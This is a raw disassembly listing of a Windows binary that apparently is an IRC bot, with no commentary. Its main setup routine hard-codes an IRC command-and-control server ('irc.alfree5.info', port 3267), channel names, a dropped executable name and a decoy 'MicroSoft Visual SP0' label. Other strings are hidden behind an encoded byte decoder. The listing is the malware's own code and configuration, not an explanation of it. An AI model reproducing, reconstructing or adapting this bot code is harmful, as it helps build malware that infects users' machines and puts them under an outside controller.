sub_407080	proc near		; CODE XREF: sub_4020BDj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_40156E
sub_407080	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43F00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407100	proc near		; CODE XREF: sub_40159Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015E1
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014EC
sub_407100	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407140	proc near		; CODE XREF: sub_401B04j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AD7
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40162C
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jz	short loc_4071BB
		mov	edi, [esp+10h+arg_0]


loc_407183:				; CODE XREF: sub_407140+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401749
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_4071C5
		call	sub_401F28
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jnz	short loc_407183


loc_4071BB:				; CODE XREF: sub_407140+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_4071C5:				; CODE XREF: sub_407140+5Aj
		call	sub_401749
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_407140	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407210	proc near		; CODE XREF: sub_40221Bj
		xor	al, al
		retn	4
sub_407210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407230	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_407230	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407270	proc near		; CODE XREF: sub_40162Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4021A8
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_407270	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072B0	proc near		; CODE XREF: sub_4021DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_4072B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4072E0	proc near		; CODE XREF: sub_4014ECj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021DF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_4072E0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407320	proc near		; CODE XREF: sub_401AD7j
		push	esi
		mov	esi, ecx
		call	sub_401B77
		mov	eax, esi
		pop	esi
		retn
sub_407320	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_401749j
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_407340	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407360	proc near		; CODE XREF: sub_401F28j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407360	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407390	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FBE
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407390	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4073C0	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C9E
		mov	edi, eax
		push	edi
		call	sub_401C6C
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_4073C0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C6C
		push	edi
		mov	[eax], ebx
		call	sub_401C6C
		mov	edi, [eax]
		push	edi
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_40167C
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407460	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019D8
sub_407460	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407475
		mov	edi, esi


loc_407475:				; CODE XREF: ___:00407471j
		push	esi
		call	sub_401A96
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40748A
		mov	edi, esi


loc_40748A:				; CODE XREF: ___:00407486j
		push	esi
		call	sub_401C6C
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074B0	proc near		; CODE XREF: sub_401A96j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_4074B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074D0	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4074D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401B77j
		mov	eax, ecx
		retn
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407510	proc near		; CODE XREF: sub_4021A8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_407510	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407540	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_407540	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407590	proc near		; CODE XREF: sub_4019D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_407590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_40167Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075F0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075F0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_401C9Ej
		mov	eax, [ecx]
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407630	proc near		; CODE XREF: sub_401D2Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40763A
		xor	eax, eax


loc_40763A:				; CODE XREF: sub_407630+6j
		push	eax
		call	sub_437AEA
sub_407630	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407660	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40767B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40767B:				; CODE XREF: sub_407660+11j
		retn
sub_407660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407690	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076B0	proc near		; CODE XREF: sub_401B40j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076B0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017EE
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_44ACE6
		call	sub_401B72
sub_4076B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407740	proc near		; CODE XREF: sub_401CD5j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407740
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017EE
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_44ACE6
		call	sub_401B72
sub_407740	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4077E0	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4077E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2DC]
		mov	[esp+35Ch+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_174]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1A4]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_40142E
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_18C]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1BC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_40142E
		mov	ebx, 1Eh
		push	offset aIrc_alfree5_in ; "irc.alfree5.info"
		lea	ecx, [esp+360h+var_2C4]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A9B
		push	offset a3267	; "3267"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A9B
		push	offset byte_448F40
		lea	ecx, [esp+360h+var_144]
		call	sub_401A9B
		lea	eax, [esp+35Ch+var_2C4]
		lea	ecx, [esp+35Ch+var_174]
		push	eax
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_2DC]
		push	ecx
		lea	ecx, [esp+360h+var_1A4]
		call	sub_40202C
		push	offset byte_448F40
		lea	ecx, [esp+360h+var_1BC]
		call	sub_401A9B
		push	offset aFor_0	; "##for##"
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A9B
		push	offset aFor	; "##for"
		lea	ecx, [esp+360h+var_24C]
		call	sub_401A9B
		push	offset aXkey	; "Xkey"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A9B
		push	offset aIgfsfdfsd32ss_ ; "igfsfdfsd32ss.exe"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A9B
		push	offset aAyssds4ddklfsd ; "ayssds4ddklfsdfssas"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A9B
		push	offset asc_444834 ; "X-"
		lea	ecx, [esp+360h+var_294]
		call	sub_401A9B
		push	offset aSet	; "set"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A9B
		push	0
		push	4Ah
		push	20h
		push	48h
		push	1Ch
		push	4Bh
		push	46h
		push	4Ah
		push	46h
		push	47h
		push	4Ch
		push	1Fh
		push	48h
		push	1Fh
		push	ebx
		push	1Bh
		push	1Dh
		push	47h
		push	4Bh
		push	47h
		push	ebx
		push	45h
		push	46h
		push	4Ah
		push	48h
		push	ebx
		push	1Dh
		push	1Ch
		push	4Ah
		push	20h
		push	4Ch
		push	4Dh
		lea	edx, [esp+3DCh+var_348]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 88h
		push	eax
		lea	ecx, [esp+360h+var_264]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	offset aFeeling_nasty ;	"feeling.nasty"
		lea	ecx, [esp+360h+var_E4]
		call	sub_401A9B
		push	offset aEvil	; "evil"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A9B
		push	offset aMicrosoftVisua ; "MicroSoft Visual SP0"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A9B
		push	offset dword_4447F8
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A9B
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_18C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	0Dh
		push	0Fh
		push	3
		push	4Fh
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	19h
		push	14h
		push	0Fh
		push	2
		push	12h
		lea	ecx, [esp+3ACh+var_348]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 58h
		push	eax
		lea	ecx, [esp+360h+var_1EC]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_CC]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	ecx, [esp+368h+var_348]
		push	46h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 27h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2F4]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		mov	byte ptr [esp+39Ch+var_4], 28h
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 29h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 2Ah
		call	sub_401CD5
sub_4077E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 2Bh
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Ch
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Dh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Eh
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
